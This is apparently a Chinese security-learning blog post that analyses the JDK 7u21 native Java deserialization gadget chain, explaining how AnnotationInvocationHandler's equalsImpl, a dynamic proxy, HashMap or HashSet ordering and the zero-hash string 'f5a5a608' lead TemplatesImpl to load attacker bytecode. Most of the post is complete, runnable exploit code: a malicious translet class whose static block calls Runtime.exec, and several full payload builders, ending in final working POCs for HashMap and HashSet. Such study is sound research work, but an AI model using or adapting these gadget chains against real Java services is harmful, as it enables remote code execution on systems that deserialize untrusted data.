JDK 7u21
7u21这条链不需要任何依赖,完全是靠 java 原生类来进行利用。
影响版本:JDK <= 7u21
测试环境:
idea需要改配置,我前面都是1.8,这里改成JDK7即可,按照下面这个文章来该即可:
https://blog.csdn.net/qq_41813208/article/details/107784268
https://blog.csdn.net/wz1509/article/details/141857535
前置说明
铺垫
这里的JDK7u21还是利用的动态加载字节码,这里可以获取到一个类的方法,先简单给个铺垫知识,在前面CC链的学习其实也用过,我们可以启用一次动态加载字节码的方法有:


其实直接用getTransletInstance()方法应该也可以,但是不是很好利用。
上面说的两个方法也定义于Templates.java接口类,如下:

也是前面用过的。
AnnotationInvocationHandler
在前面的CC1的LazyMap链中,就利用到了这个类,在那里利用到了这个类的invoke()方法,为了调用到get方法:

但是在这里,我们要利用的是这个类的equalsImpl()方法,同样的是在这个类的invoke()方法中利用,如上图片标注。
equalsImpl()
现在再来看这个equalsImpl()方法:

这里调用了invoke()方法,需要var1不是AnnotationInvocationHandler类实例并且需要为type变量的一个类实例才能调用,再来跟进一下前面var2的getMemberMethods()方法:

这里就是获取到type变量里的方法,在AnnotationInvocationHandler类的type变量定义:

我们可以使用反射获取AnnotationInvocationHandler类的构造方法,这样就可以给这个变量定值,所以我们可以尝试将这里的type变量赋值为Templates.class接口类,这样就可以直接获取到想利用的方法。
参考CC1,现在这里就可以再次尝试使用动态代理来调用到这个AnnotationInvocationHandler类的invoke()方法,进而进行其他操作。
HashMap
这里为什么会用到HashMap呢,这是因为这个类的readObject()方法中对代理对象调用了它的方法,如下:

进入这个putForCreate()方法:

只要满足前面的条件,这里就可以成功对这个key调用equals()方法,只要我们将这个key设置为AnnotationInvocationHandler的代理对象,就可以成功调用到这个AnnotationInvocationHandler类的invoke()方法
同理感觉HashSet,Hashtable也能构造,只要能使调用的方法为equals()方法即可调用equalsImpl()方法:

简单说明一下参数问题:key.equals(k);
,当跳转到AnnotationInvocationHandler类的invoke()方法时,这里对应的参数分别为
- var2(方法名):equals
- va3(参数):k
所以结合前面invoke()方法,这里的k需要为TemplatesImpl类的实例,对应的就是前一个put进的值:

这张图说的很清楚了,所以我们需要put进两个值,并且前一个需要为templateImpl类的实例,另一个为代理对象。
现在可以敲定基本框架了,大概想一下流程,反序:
- 放键值对到其中。
- 调用到AnntationInvocationHandler的invoke()方法
- 调用equalsImpl()方法
- 调用getMemberMethods()方法获取到type的class对象中的方法。
- 执行invoke来动态加载字节码
攻击构造
HashMap
基本盘:
Test.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
package jdk.local;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
Main.java:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
package jdk.local;
import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] main) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\jdk\\local\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
现在就是看如何将这个配置好了的恶意字节码能被利用到。
反序列化部分
先从反序分析起:

这里就是从序列化数据中提取出键值,然后调用putForCreate()方法尝试将其放入键值表中,继续跟进这个putForCeate()方法:

重点还是标注出来的地方。
- 首先就是hash值的设定,那里的逻辑就是如果 key为null,那么hash值就为0,否则就是调用hash()方法来计算key的的哈希值。
跟进一下这里的hash()方法,算法如下:

- 其次就是后面的if条件内的判断。java中的&&运算符会按前后顺序执行,并且需要前面的真才会执行后面。而后面的||运算符只要一个为真即可。
所以在这里我们需要满足前面的hash值条件为真。就可以执行后面的语句。
问题一(hash值)
hash值相同的问题。
结合前面的分析及CC链的学习,我们这里需要put进两个值,并且第二个值为一个代理对象。
现在来看一下hash值的计算问题。回到hash计算部分代码:

思考一下,第一个值就是直接调用它的hashCode()方法,第二个put进的值需要为代理对象。先跟第二个键值对的计算方法:

由于我们传入的k是AnnotationInvocationHandle代理对象,所以这里调用hashCode()方法就会到AnnotationInvocationHandler类的invoke()方法,就会调用到hashCodeImpl()方法:

跟进这个hashCodeImpl()方法:

这个方法声明了一个Map.Entry
类型的var3,然后创建了一个迭代器var2,用于遍历this.memberrValues
变量的条目集,所以这里的membeValues应该为一个Map对象,我们可以用一个HashMap实例来代表。
如果 membeValues 只有一个键值对,该hash就等于127 * key.hashCode() ^ value.hashCode()
,而当key.hashCode
为0,任何数异或0的结果仍是他本身:

在ysoserial项目提供了一个字符串f5a5a608
,其hashCode值正好为0。所以该hash计算可以简化成value.hashCode,
重点来了,前面我们说过了put进的第一个值需要为TemplatesImpl类的实例,所以前面在计算hash值调用的hash()方法中,计算方式就是templatesImpl.hashCode()
。
而只要我们将value设置为TemplatesImpl对象,就能实现Proxy.hashCode等于TemplatesImpl.hashCode,也就是第二个的计算方式也是templatesImpl.hashCode()
。
这样就能成功通过hash值相同的问题。
——————————
问题解决,尝试构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
package jdk.local;
import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Constructor;
import java.util.Map;
import javax.xml.transform.Templates;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
public class Main{
public static void main(String[] main) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\jdk\\local\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
HashMap hashMap = new HashMap();
hashMap.put("f5a5a608",ctf);
Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
InvocationHandler instance = (InvocationHandler)constructor1.newInstance(Templates.class,hashMap);
Class[] interfaces = ctf.getClass().getInterfaces();
Templates proxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),interfaces,instance);
HashMap hash = new HashMap();
hash.put(ctf,111);
hash.put(proxy,111);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
弹出一个计算机。看了一下,确实是序列化之前造成的,HashMap的put()会调用,老生常谈了:

解决方法就是将最开始加入templatesImpl类实例的地方不要加入,让hash值直接不相同:

改成下面的POC试试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
package jdk.local;
import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Constructor;
import java.util.Map;
import javax.xml.transform.Templates;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
public class Main{
public static void main(String[] main) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\jdk\\local\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
HashMap hashMap = new HashMap();
//这个不能删,再调用一次修改值即可
hashMap.put("f5a5a608","fupanc");
Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
InvocationHandler instance = (InvocationHandler)constructor1.newInstance(Templates.class,hashMap);
Class[] interfaces = ctf.getClass().getInterfaces();
Templates proxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),interfaces,instance);
HashMap hash = new HashMap();
hash.put(ctf,111);
hash.put(proxy,111);
hashMap.put("f5a5a608",ctf);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
还是不行,看了一下其他师傅的文章,说是在最后的HashMap中放入ctf和proxy时调换一下位置即可,即如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
package java_foundation;
import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Constructor;
import java.util.Map;
import javax.xml.transform.Templates;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
public class Main{
public static void main(String[] main) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
HashMap hashMap = new HashMap();
hashMap.put("f5a5a608",ctf);
Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
InvocationHandler instance = (InvocationHandler)constructor1.newInstance(Templates.class,hashMap);
Class[] interfaces = ctf.getClass().getInterfaces();
Templates proxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),interfaces,instance);
HashMap hash = new HashMap();
hash.put(proxy,111);
hash.put(ctf,111);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
运行调试后发现确实是反序列化时弹出来的计算机,并且在序列化之前也没有弹出计算机。
————
后面想了一下,这样不就与之前分析的不一样了吗。百思不得其解。
然后就一直调试,最后在发现,实在反序列化时出现了问题。
HashMap反序列化时的问题:

从代码中可以知道,这里是一个放入键值对的地方,但是我想当然地想着这里会按照顺序来放入键值对,调试如下(以上面正确的代码为例):
先放入的键值对如下:

然后继续再一次断于这个点,放入的键值对如下:

也就是proxy中存在的hashMap。
然后继续再一次断于这个点,键值对如下:

可以看到最后才是这个proxy,而我们的放入的操作为:

是先放入的proxy再放入的ctf,但是这里的反序列化时的顺序是不一样的,我们想利用的代码如下:

所以是需要key为proxy代理对象的,但是序列化和反序列化的顺序是不同的,所以这里需要先放入proxy,后放入ctf,这样,也就不会导致序列化之前的弹计算机了。
如果按照之前的顺序,那么确实是会在序列化之前弹出计算机,符合弹计算机的条件。
但是在反序列化时,HashMap的顺序就是 hashMap里的键值对 ==》hash中的proxy 键值对 ==>hash中的ctf(TemplatesImpl键值对)。并且调试后也符合情况。
然后我在JDK8也试了一下,也是先反序列化的第二个键值对,但是测试的键值对都是以一个类实例为key,问了一下,原因大概如下:
这个是因为HashMap序列化和反序列化时本身其顺序就可能不同,其顺序时基于哈希值来决定的,所以这里可能就与环境有关了。也许在某个环境我最开始的那个先放入fupanc再修改为ctf的方法也是有用的呢(反正刚学的时候应该是可以的,这里再重看的时候不行了)。反正多试。
为了验证想法,使用如下POC来验证:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
import java.util.HashMap;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
public class Main{
public static void main(String[] main) throws Exception{
// TemplatesImpl ctf = new TemplatesImpl();
//
// HashMap hashMap = new HashMap();
HashMap hash = new HashMap();
hash.put("fupanc1",111);
hash.put("fupanc2",111);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
}
|
这样在反序列化时就是先放入的第一个,再放入的第二个。
——————
基于现在的情况,那么现在序列化前的流程肯定也要变,简单跟一下:
还是直接断于hash中第二次放入键值对的代码,如下:

可以知道这里的hash值时肯定相同的,具体流程和之前分析的不一样,但是此时的调用equals()方法就有区别了,这里的TemplatesImpl类没有定义equals()方法,这里会直接调用到Object.java类的equals()方法:

从变量的值来看,这里是会返回false的,然后直接就会成功放入第二个键值对。
所以最终的POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
package java_foundation;
import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Constructor;
import java.util.Map;
import javax.xml.transform.Templates;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
public class Main{
public static void main(String[] main) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
HashMap hashMap = new HashMap();
hashMap.put("f5a5a608",ctf);
Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
InvocationHandler instance = (InvocationHandler)constructor1.newInstance(Templates.class,hashMap);
Class[] interfaces = ctf.getClass().getInterfaces();
Templates proxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),interfaces,instance);
HashMap hash = new HashMap();
hash.put(proxy,111);
hash.put(ctf,111);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
HashSet
HashSet本来就和HashMap差不多,并且反序列化时也是先反序列化的第二个键值对。readObject内容为:

可以看到其实就是调用的HashMap的put()方法,这个也是前面分析过了的,最终POC如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
package java_foundation;
import java.nio.file.Files;
import java.nio.file.Paths;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.lang.reflect.Constructor;
import java.util.Map;
import javax.xml.transform.Templates;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
public class Main{
public static void main(String[] main) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\Test.class"));
TemplatesImpl ctf = new TemplatesImpl();
setFieldValue(ctf,"_name","fupanc");
setFieldValue(ctf,"_bytecodes",new byte[][]{code});
setFieldValue(ctf, "_class", null);
setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
HashMap hashMap = new HashMap();
hashMap.put("f5a5a608",ctf);
Constructor constructor1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
InvocationHandler instance = (InvocationHandler)constructor1.newInstance(Templates.class,hashMap);
Class[] interfaces = ctf.getClass().getInterfaces();
Templates proxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),interfaces,instance);
HashSet hash = new HashSet();
hash.add(proxy);
hash.add(ctf);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hash);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
|
成功在反序列化时弹计算机。
其实在可以利用equals()方法的地方,只要JDK版本符合 <= 7u21 ,都要想到这个原生链,比如ROME链的第三条就有用到equals()方法,大同小异。